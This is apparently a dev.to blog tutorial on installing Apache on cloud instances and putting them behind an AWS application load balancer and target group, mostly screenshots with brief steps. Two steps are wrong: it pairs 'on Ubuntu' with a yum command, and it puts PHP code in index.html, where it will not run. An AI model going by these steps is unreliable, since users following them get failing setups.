&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkxkkxh86gu72hilzlw7x.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkxkkxh86gu72hilzlw7x.png" alt=" " width="800" height="92"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;- SSH into each instance using a terminal or SSH client.&lt;/li&gt;
&lt;li&gt;- Install Apache by running the appropriate command based on the instance's operating system. For example, on Ubuntu, you can use:
Install apache server
sudo yum install httpd
Start the Apache service:
sudo systemctl start httpd
Enable Apache on system boot:
sudo systemctl enable httpd&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Use echo command inside /var/www/html:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;- Open the default Apache index file for editing:&lt;/li&gt;
&lt;li&gt;- sudo nano /var/www/html/index.html&lt;/li&gt;
&lt;li&gt;- Inside the file, use the echo command to display the server's identification. For example:&lt;/li&gt;
&lt;li&gt;- &amp;lt;?php echo "This is Server 1"; ?&amp;gt;&lt;/li&gt;
&lt;li&gt;- Repeat this step for each server, changing the server number accordingly.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Create a target group:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7ffst0fcmumfixcvw5ek.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7ffst0fcmumfixcvw5ek.png" alt=" " width="800" height="94"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmfgmsw5nv1k2go7mg32x.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmfgmsw5nv1k2go7mg32x.png" alt=" " width="800" height="413"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhe2ieay7ekm89nam73e4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhe2ieay7ekm89nam73e4.png" alt=" " width="800" height="412"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fa22nxh71rzglfkotmc8d.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fa22nxh71rzglfkotmc8d.png" alt=" " width="800" height="121"&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyuz80rcidymg9ymfxqbt.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyuz80rcidymg9ymfxqbt.png" alt=" " width="800" height="159"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzvztj5j3bqed1lds4mot.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzvztj5j3bqed1lds4mot.png" alt=" " width="800" height="283"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fceu84579eb508ikog7rr.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fceu84579eb508ikog7rr.png" alt=" " width="800" height="275"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Foqiam2zzhwvno4qeszic.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Foqiam2zzhwvno4qeszic.png" alt=" " width="800" height="274"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;- Navigate to the load balancing or target group section of your cloud platform.&lt;/li&gt;
&lt;li&gt;- Create a new target group and specify the instances you created earlier to associate them with the target group.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Configure an application load balancer:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4equxc1whv9foe2bva4l.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4equxc1whv9foe2bva4l.png" alt=" " width="800" height="211"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbw35rfcbriukjqi83nqm.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbw35rfcbriukjqi83nqm.png" alt=" " width="800" height="334"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fo6u92me0pll4hjj8wv79.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fo6u92me0pll4hjj8wv79.png" alt=" " width="800" height="347"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3n4nd1gzer063euim02w.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3n4nd1gzer063euim02w.png" alt=" " width="800" height="337"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fka0zydonjiyumaoyn8ek.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fka0zydonjiyumaoyn8ek.png" alt=" " width="800" height="449"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwkcl03viu55mlpb4j1gv.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwkcl03viu55mlpb4j1gv.png" alt=" " width="800" height="190"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2xk70639635zryeiwhul.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2xk70639635zryeiwhul.png" alt=" " width="800" height="263"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;- In the load balancing section, choose to create a new application load balancer.&lt;/li&gt;
&lt;li&gt;- Follow the prompts to configure the load balancer, including selecting the target group you created in the previous step.&lt;/li&gt;
&lt;li&gt;- Create a security group allowing HTTP traffic:&lt;/li&gt;
&lt;li&gt;- In the security group section of your cloud platform, create a new security group or use an existing one.&lt;/li&gt;
&lt;li&gt;- Configure the inbound rules to allow HTTP traffic on port 80. Deny all other inbound traffic unless necessary for your specific requirements.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Attach the target group to the load balancer:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Associate the target group you created with the newly configured application load balancer.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Retrieve the DNS of the load balancer:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1387bmusbi0ahz89azh3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1387bmusbi0ahz89azh3.png" alt=" " width="800" height="92"&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fax9ytoo07xemnygm3806.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fax9ytoo07xemnygm3806.png" alt=" " width="800" height="98"&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fg8mz48u5ecqycisg1881.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fg8mz48u5ecqycisg1881.png" alt=" " width="800" height="84"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;- Once the load balancer is created and associated with the target group, find the DNS (or endpoint) of the load balancer in the load balancer settings or properties.&lt;/li&gt;
&lt;li&gt;- Test the load balancer:&lt;/li&gt;
&lt;li&gt;- Copy the DNS of the load balancer and paste it into a new browser tab.&lt;/li&gt;
&lt;li&gt;- Upon refreshing the page, you should see the different server identifications (e.g., "This is Server 1", "This is Server 2", etc.) indicating that the load balancer is functioning properly.&lt;/li&gt;
&lt;/ol&gt;

</description>
    </item>
  </channel>
</rss>
